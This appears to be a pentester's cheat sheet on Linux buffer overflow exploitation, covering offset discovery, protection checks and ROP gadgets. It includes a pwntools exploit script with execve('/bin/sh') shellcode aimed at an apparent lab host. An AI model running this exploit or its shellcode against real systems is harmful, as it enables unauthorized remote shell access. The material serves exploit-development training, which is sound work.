Buffer Overflow - Linux

Methodology Overview

  1. Crash the application - Determine if buffer overflow is possible

  2. Find offset - Use cyclic pattern to identify EIP overwrite position

  3. Control EIP - Verify you can control the instruction pointer

  4. Find return address - Locate suitable memory address for shellcode

  5. Develop shellcode - Create or adapt payload for target system

  6. Build exploit - Combine buffer + return address + shellcode

Enumeration

Dynamic Analysis - Function Call Tracing

  • Look for vulnerable functions like strcmp(), strcpy(), gets(), etc. that don't perform bounds checking.

Traces library calls
ltrace ./vulnerable_binary
Monitor system calls to understand how the binary interacts with the kernel
strace ./vulnerable_binary

Check System Security Settings

Check ASLR (Address Space Layout Randomization) status
cat /proc/sys/kernel/randomize_va_space
  • 0 = ASLR disabled

  • 1 = Conservative randomization

  • 2 = Full randomization

Binary Protection Analysis

checksec --file=binary 

Identifies security mechanisms like:

  • NX bit (No Execute) - prevents shellcode execution on stack

  • Stack Canaries - detects buffer overflows

  • PIE (Position Independent Executable) - randomizes base address

  • RELRO - makes GOT read-only

Enumerate library addresses and base addresses

Display shared library dependencies and their load addresses. Useful for ROP gadget hunting and understanding memory layout.
ldd ./vulnerable_binary
Exploit Development

Offset Discovery

Generate unique cyclic pattern
cyclic 300
Same with PEDA
pattern_create 400
  • Create a unique non-repeating pattern to determine the exact offset where EIP/RIP gets overwritten.

  • The number should exceed the expected buffer size.

  • Each 4-byte sequence is unique, making it easy to calculate the buffer overflow offset

Find offset after crash

Find the exact offset
cyclic -l <crashed_value>
Same With PEDA
pattern_offset <crashed_value>
POC
Make sure to adapt the buffer size, return address and IP/PORT to the current scenario:
from pwn import *

shellcode = (
  b"\x6a\x02\x5b\x6a\x29\x58\xcd\x80\x48\x89\xc6\x31\xc9\x56\x5b\x6a\x3f\x58"
   b"\xcd\x80\x41\x80\xf9\x03\x75\xf5\x6a\x0b\x58\x99\x52\x31\xf6\x56\x68\x2f"
   b"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"
)

payload = b"A" * 28 + p32(0xffffd630) + shellcode # Change this


r = remote('10.10.10.34', 7411) # Change this


print(r.recv(1024).decode())  
r.sendline(b'USER admin')    
print(r.recv(1024).decode())  
r.sendline(b'PASS ' + payload)  
r.interactive()

Key Points for Customization

  • Buffer size (28): Found using cyclic pattern analysis

  • Return address (0xffffd630): Points to shellcode location in memory

  • Shellcode: Adapt based on target architecture and desired payload

  • Target (IP:PORT): Update for specific engagement

Common Return Address Locations

  • Stack address: Direct jump to shellcode on stack

  • JMP ESP: Find gadget that jumps to ESP register

  • ROP chain: For modern protections, use Return-Oriented Programming

Redirect execution to a ROP chain
  • Use gadgets to set up arguments and call system("/bin/sh").

  • Typical chain:

    • pop rdi; ret

    • Address of /bin/sh string in libc

    • Address of system in libc

    • (Optional) Address of exit for clean exit

Check for useful gadgets

ropper --file garbage --search "pop rdi"
rop-tool gadget garbage | grep rdi

Find where puts is called

objdump -D garbage | grep puts@GLIBC
readelf -r garbage | grep puts

Last updated